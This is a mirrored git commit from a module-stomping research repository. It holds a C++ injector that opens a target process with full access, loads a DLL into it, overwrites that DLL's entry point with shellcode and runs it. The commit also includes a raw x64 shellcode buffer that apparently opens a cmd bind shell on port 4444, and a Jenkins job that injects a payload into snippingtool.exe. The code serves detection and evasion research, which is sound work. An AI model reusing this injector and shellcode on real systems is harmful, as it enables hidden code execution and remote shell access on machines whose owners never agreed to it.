mirror of
https://github.com/WithSecureLabs/ModuleStomping
synced 2026-06-06 17:00:48 +00:00
New repo for public release, part 1
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
.vs
|
||||
*.vcxproj.filters
|
||||
*.vcxproj.user
|
||||
*/x64/
|
||||
x64
|
||||
Release
|
||||
Debug
|
||||
Vendored
+37
@@ -0,0 +1,37 @@
|
||||
// Build the main project via VS on a windows box
|
||||
node('windows')
|
||||
{
|
||||
deleteDir()
|
||||
checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]])
|
||||
|
||||
bat "\"${tool 'msbuildVS2017'}\" cowspot.sln /p:Configuration=Debug /p:Platform=\"x64\" /p:ProductVersion=1.0.0.${env.BUILD_NUMBER}"
|
||||
|
||||
archiveArtifacts 'x64\\Debug\\driver\\*,x64\\**\\*.pdb,x64\\**\\*.exe'
|
||||
}
|
||||
|
||||
// Build the injection payloads on Linux. It's easier than trying to do an unattended install of mingw on windows (!)
|
||||
node('linux')
|
||||
{
|
||||
sh "apt-get install -y g++-mingw-w64-x86-64 make"
|
||||
|
||||
deleteDir()
|
||||
checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]])
|
||||
|
||||
dir("injectionPayloads")
|
||||
{
|
||||
sh "make ldscript=ldscript.WindowsCodecsRaw"
|
||||
archiveArtifacts '*.dll'
|
||||
}
|
||||
stash "injectionPayloads"
|
||||
}
|
||||
|
||||
// Now go back to the windows box, and do an injection!
|
||||
// Try to inject the winsock payload, and test that the required socket is opened.
|
||||
node('windows')
|
||||
{
|
||||
unstash "injectionPayloads"
|
||||
bat returnStatus: true, script: "taskkill /im snippingtool.exe /f"
|
||||
bat "start C:\\windows\\system32\\snippingtool.exe"
|
||||
bat "x64\\debug\\inject.exe snippingtool.exe injectionPayloads\\winsock.dll WindowsCodecsRaw.dll"
|
||||
bat "nc -v -z localhost 27015"
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
Part 1 of Countercept's research on module stomping - see https://blog.f-secure.com/hiding-malicious-code-with-module-stomping .
|
||||
|
||||
The full text of the associated blogpost is available in the Documentation directory.
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28010.2046
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject_simple", "inject_simple\inject_simple.vcxproj", "{5C90611E-0874-4618-9C3D-B1385C83FBDF}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "injectionUtils", "injectionUtils\injectionUtils.vcxproj", "{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.Build.0 = Debug|x64
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.Build.0 = Debug|Win32
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.ActiveCfg = Release|x64
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.Build.0 = Release|x64
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.ActiveCfg = Release|Win32
|
||||
{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.Build.0 = Release|Win32
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.Build.0 = Debug|x64
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.Build.0 = Debug|Win32
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.ActiveCfg = Release|x64
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.Build.0 = Release|x64
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.ActiveCfg = Release|Win32
|
||||
{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B90013BF-86FB-4B90-88EB-72D19D7E01D0}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
@@ -0,0 +1,47 @@
|
||||
#include "pch.h"
|
||||
|
||||
#include "../injectionUtils/public.h"
|
||||
#include "shellcode.h"
|
||||
|
||||
void doUsage()
|
||||
{
|
||||
printf("Usage: inject_simple.exe <target process name>\n");
|
||||
}
|
||||
|
||||
int wmain(int argc, TCHAR *argv[])
|
||||
{
|
||||
if (argc != 3)
|
||||
{
|
||||
doUsage();
|
||||
return -1;
|
||||
}
|
||||
|
||||
TCHAR* targetProcessName = argv[1];
|
||||
DWORD targetPid = getPIDForProcessByName(targetProcessName);
|
||||
if (targetPid == 0)
|
||||
{
|
||||
printf("Can't find process '%S'\n", targetProcessName);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!EnableDebugPrivilege(TRUE))
|
||||
{
|
||||
printf("Couldn't enable debug privilege\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HANDLE toScanHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, targetPid);
|
||||
if (toScanHandle == NULL)
|
||||
{
|
||||
printf("Couldn't open target process, gle %d\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// First, convince the target to load the library we're going to stomp on top of. We just inject a thread to LoadLibraryA.
|
||||
void* moduleToStompBase = injectLoadLibrary(toScanHandle, L"windowscodecsraw.dll");
|
||||
|
||||
moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase);
|
||||
|
||||
targetModule.writeToModule(buf, targetModule.entrypoint, sizeof(buf));
|
||||
targetModule.injectThread(targetModule.entrypoint, NULL, 0);
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{5C90611E-0874-4618-9C3D-B1385C83FBDF}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>injectsimple</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="pch.h" />
|
||||
<ClInclude Include="shellcode.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="inject_simple.cpp" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\injectionUtils\injectionUtils.vcxproj">
|
||||
<Project>{171d6509-8ba1-489e-bb38-b3db2c9b53bb}</Project>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,5 @@
|
||||
// pch.cpp: source file corresponding to pre-compiled header; necessary for compilation to succeed
|
||||
|
||||
#include "pch.h"
|
||||
|
||||
// In general, ignore this file, but keep it around if you are using pre-compiled headers.
|
||||
@@ -0,0 +1,6 @@
|
||||
#ifndef PCH_H
|
||||
#define PCH_H
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#endif //PCH_H
|
||||
@@ -0,0 +1,36 @@
|
||||
|
||||
unsigned char buf[] =
|
||||
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
|
||||
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
|
||||
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
|
||||
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
|
||||
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
|
||||
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
|
||||
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
|
||||
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
|
||||
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
|
||||
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
|
||||
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
|
||||
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
|
||||
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
|
||||
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
|
||||
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
|
||||
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x00\x00\x00\x00\x41\x54"
|
||||
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
|
||||
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
|
||||
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
|
||||
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
|
||||
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\xc2"
|
||||
"\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48\x89\xf9\x41\xba\xb7\xe9"
|
||||
"\x38\xff\xff\xd5\x4d\x31\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba"
|
||||
"\x74\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75"
|
||||
"\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63"
|
||||
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
|
||||
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
|
||||
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
|
||||
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
|
||||
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
|
||||
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
|
||||
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
|
||||
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
|
||||
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
|
||||
@@ -0,0 +1,181 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>injectionUtils</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<Lib>
|
||||
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<Lib>
|
||||
<AdditionalDependencies>Shlwapi.lib</AdditionalDependencies>
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
